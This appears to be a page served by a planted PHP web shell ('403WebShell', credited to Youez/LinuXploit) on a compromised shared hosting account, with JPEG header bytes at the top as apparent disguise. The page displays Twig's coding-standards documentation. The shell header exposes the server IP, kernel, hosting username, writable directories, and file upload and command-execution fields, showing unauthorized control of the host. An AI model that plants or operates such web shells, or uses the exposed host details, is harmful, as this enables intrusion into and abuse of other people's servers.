����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.218.181.138
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/twig/twig/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/twig/twig/doc/coding_standards.rst
Coding Standards
================

When writing Twig templates, we recommend you to follow these official coding
standards:

* Put one (and only one) space after the start of a delimiter (``{{``, ``{%``,
  and ``{#``) and before the end of a delimiter (``}}``, ``%}``, and ``#}``):

  .. code-block:: twig

    {{ foo }}
    {# comment #}
    {% if foo %}{% endif %}

  When using the whitespace control character, do not put any spaces between
  it and the delimiter:

  .. code-block:: twig

    {{- foo -}}
    {#- comment -#}
    {%- if foo -%}{%- endif -%}

* Put one (and only one) space before and after the following operators:
  comparison operators (``==``, ``!=``, ``<``, ``>``, ``>=``, ``<=``), math
  operators (``+``, ``-``, ``/``, ``*``, ``%``, ``//``, ``**``), logic
  operators (``not``, ``and``, ``or``), ``~``, ``is``, ``in``, and the ternary
  operator (``?:``):

  .. code-block:: twig

     {{ 1 + 2 }}
     {{ foo ~ bar }}
     {{ true ? true : false }}

* Put one (and only one) space after the ``:`` sign in hashes and ``,`` in
  arrays and hashes:

  .. code-block:: twig

     {{ [1, 2, 3] }}
     {{ {'foo': 'bar'} }}

* Do not put any spaces after an opening parenthesis and before a closing
  parenthesis in expressions:

  .. code-block:: twig

    {{ 1 + (2 * 3) }}

* Do not put any spaces before and after string delimiters:

  .. code-block:: twig

    {{ 'foo' }}
    {{ "foo" }}

* Do not put any spaces before and after the following operators: ``|``,
  ``.``, ``..``, ``[]``:

  .. code-block:: twig

    {{ foo|upper|lower }}
    {{ user.name }}
    {{ user[name] }}
    {% for i in 1..12 %}{% endfor %}

* Do not put any spaces before and after the parenthesis used for filter and
  function calls:

  .. code-block:: twig

     {{ foo|default('foo') }}
     {{ range(1..10) }}

* Do not put any spaces before and after the opening and the closing of arrays
  and hashes:

  .. code-block:: twig

     {{ [1, 2, 3] }}
     {{ {'foo': 'bar'} }}

* Use lower cased and underscored variable names:

  .. code-block:: twig

     {% set foo = 'foo' %}
     {% set foo_bar = 'foo' %}

* Indent your code inside tags (use the same indentation as the one used for
  the target language of the rendered template):

  .. code-block:: twig

     {% block foo %}
         {% if true %}
             true
         {% endif %}
     {% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit